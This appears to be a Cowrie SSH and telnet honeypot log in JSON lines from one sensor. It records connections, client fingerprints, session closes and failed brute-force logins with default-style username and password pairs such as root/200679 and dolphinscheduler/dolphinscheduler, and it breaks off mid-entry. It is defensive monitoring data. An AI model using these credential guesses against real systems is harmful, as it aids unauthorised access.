{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44456,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c4cc5921642","protocol":"ssh","message":"New connection: 139.99.74.35:44456 (159.203.135.109:22) [session: 0c4cc5921642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:46.726348Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":55800,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9045902e0f8","protocol":"ssh","message":"New connection: 160.187.174.22:55800 (159.203.135.109:22) [session: d9045902e0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:46.984424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:46.989472Z","src_ip":"160.187.174.22","session":"d9045902e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":39476,"dst_ip":"159.203.135.109","dst_port":22,"session":"e013e08a230c","protocol":"ssh","message":"New connection: 147.45.199.80:39476 (159.203.135.109:22) [session: e013e08a230c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:47.030932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:47.034669Z","src_ip":"147.45.199.80","session":"e013e08a230c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:47.129565Z","src_ip":"147.45.199.80","session":"e013e08a230c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:47.221530Z","src_ip":"160.187.174.22","session":"d9045902e0f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200679","message":"login attempt [root/200679] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:47.415631Z","src_ip":"147.45.199.80","session":"e013e08a230c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:48.513844Z","src_ip":"147.45.199.80","session":"e013e08a230c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:48.728813Z","src_ip":"160.187.174.22","session":"d9045902e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:49.970291Z","src_ip":"160.187.174.22","session":"d9045902e0f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":52256,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ebfcbb7f4e","protocol":"telnet","message":"New connection: 183.91.11.226:52256 (159.203.135.109:23) [session: 08ebfcbb7f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:50.053048Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:51.503657Z","src_ip":"139.99.74.35","session":"0c4cc5921642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":44474,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb32106a1c2e","protocol":"ssh","message":"New connection: 139.99.74.35:44474 (159.203.135.109:22) [session: eb32106a1c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:51.742414Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:56.504759Z","src_ip":"139.99.74.35","session":"eb32106a1c2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46824,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c6702082f9a","protocol":"ssh","message":"New connection: 139.99.74.35:46824 (159.203.135.109:22) [session: 5c6702082f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:25:56.747049Z"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:03.159897Z","src_ip":"139.99.74.35","session":"5c6702082f9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46830,"dst_ip":"159.203.135.109","dst_port":22,"session":"c26342688c05","protocol":"ssh","message":"New connection: 139.99.74.35:46830 (159.203.135.109:22) [session: c26342688c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:03.396547Z"}
{"eventid":"cowrie.session.closed","duration":38.43398714065552,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:03.662900Z","src_ip":"183.91.11.226","session":"7859eea675ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:08.171821Z","src_ip":"139.99.74.35","session":"c26342688c05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":36158,"dst_ip":"159.203.135.109","dst_port":22,"session":"18319229f5dd","protocol":"ssh","message":"New connection: 139.99.74.35:36158 (159.203.135.109:22) [session: 18319229f5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:08.423892Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":59642,"dst_ip":"159.203.135.109","dst_port":22,"session":"6288b7b88d3e","protocol":"ssh","message":"New connection: 160.187.174.22:59642 (159.203.135.109:22) [session: 6288b7b88d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:13.231771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:13.235252Z","src_ip":"160.187.174.22","session":"6288b7b88d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:13.478267Z","src_ip":"160.187.174.22","session":"6288b7b88d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awsgui","password":"awsgui","message":"login attempt [awsgui/awsgui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:14.168766Z","src_ip":"160.187.174.22","session":"6288b7b88d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:15.404967Z","src_ip":"160.187.174.22","session":"6288b7b88d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:18.275999Z","src_ip":"139.99.74.35","session":"18319229f5dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60262,"dst_ip":"159.203.135.109","dst_port":22,"session":"f713ab5e47c8","protocol":"ssh","message":"New connection: 139.99.74.35:60262 (159.203.135.109:22) [session: f713ab5e47c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:18.495996Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58484,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd6a0e05fabc","protocol":"telnet","message":"New connection: 170.64.224.25:58484 (159.203.135.109:23) [session: dd6a0e05fabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:19.440695Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:23.272541Z","src_ip":"139.99.74.35","session":"f713ab5e47c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60278,"dst_ip":"159.203.135.109","dst_port":22,"session":"efc7f19f969a","protocol":"ssh","message":"New connection: 139.99.74.35:60278 (159.203.135.109:22) [session: efc7f19f969a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:23.528579Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:28.283413Z","src_ip":"139.99.74.35","session":"efc7f19f969a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":55724,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f3f5210b486","protocol":"ssh","message":"New connection: 139.99.74.35:55724 (159.203.135.109:22) [session: 6f3f5210b486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:28.527239Z"}
{"eventid":"cowrie.session.closed","duration":73.8337082862854,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:30.857183Z","src_ip":"170.64.224.25","session":"35a42d5c901e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:33.302856Z","src_ip":"139.99.74.35","session":"6f3f5210b486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":55742,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ba787dbf50f","protocol":"ssh","message":"New connection: 139.99.74.35:55742 (159.203.135.109:22) [session: 0ba787dbf50f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:33.526209Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35586,"dst_ip":"159.203.135.109","dst_port":23,"session":"007fff94404b","protocol":"telnet","message":"New connection: 170.64.224.25:35586 (159.203.135.109:23) [session: 007fff94404b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:34.907061Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:38.299732Z","src_ip":"139.99.74.35","session":"0ba787dbf50f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.44459342956543,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:38.497528Z","src_ip":"183.91.11.226","session":"08ebfcbb7f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":33402,"dst_ip":"159.203.135.109","dst_port":22,"session":"7caac5df22d6","protocol":"ssh","message":"New connection: 139.99.74.35:33402 (159.203.135.109:22) [session: 7caac5df22d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:38.530671Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":46446,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e46b331502a","protocol":"ssh","message":"New connection: 160.187.174.22:46446 (159.203.135.109:22) [session: 5e46b331502a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:39.503263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:39.507109Z","src_ip":"160.187.174.22","session":"5e46b331502a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:39.741061Z","src_ip":"160.187.174.22","session":"5e46b331502a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler","message":"login attempt [dolphinscheduler/dolphinscheduler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:40.451263Z","src_ip":"160.187.174.22","session":"5e46b331502a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:41.688041Z","src_ip":"160.187.174.22","session":"5e46b331502a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.00725865364075,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:41.698658Z","src_ip":"170.64.224.25","session":"b230255fa944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:43.319195Z","src_ip":"139.99.74.35","session":"7caac5df22d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":33416,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3fc91192e0","protocol":"ssh","message":"New connection: 139.99.74.35:33416 (159.203.135.109:22) [session: ed3fc91192e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:43.549905Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:48.321617Z","src_ip":"139.99.74.35","session":"ed3fc91192e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":41434,"dst_ip":"159.203.135.109","dst_port":22,"session":"65cc05885e7d","protocol":"ssh","message":"New connection: 139.99.74.35:41434 (159.203.135.109:22) [session: 65cc05885e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:48.582092Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:53.367928Z","src_ip":"139.99.74.35","session":"65cc05885e7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":41438,"dst_ip":"159.203.135.109","dst_port":22,"session":"c64daf030a75","protocol":"ssh","message":"New connection: 139.99.74.35:41438 (159.203.135.109:22) [session: c64daf030a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:53.586560Z"}
{"eventid":"cowrie.session.closed","duration":38.28080105781555,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:57.721357Z","src_ip":"170.64.224.25","session":"dd6a0e05fabc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:58.373267Z","src_ip":"139.99.74.35","session":"c64daf030a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":38008,"dst_ip":"159.203.135.109","dst_port":22,"session":"f40caa975c31","protocol":"ssh","message":"New connection: 139.99.74.35:38008 (159.203.135.109:22) [session: f40caa975c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:26:58.597831Z"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:04.187243Z","src_ip":"139.99.74.35","session":"f40caa975c31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":60236,"dst_ip":"159.203.135.109","dst_port":22,"session":"653279656f5e","protocol":"ssh","message":"New connection: 139.99.74.35:60236 (159.203.135.109:22) [session: 653279656f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:04.424896Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":47876,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5aeb9ea7115","protocol":"ssh","message":"New connection: 160.187.174.22:47876 (159.203.135.109:22) [session: a5aeb9ea7115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:06.741702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:06.747566Z","src_ip":"160.187.174.22","session":"a5aeb9ea7115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50176,"dst_ip":"159.203.135.109","dst_port":23,"session":"14789dbe3903","protocol":"telnet","message":"New connection: 170.64.224.25:50176 (159.203.135.109:23) [session: 14789dbe3903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:27:06.982789Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sh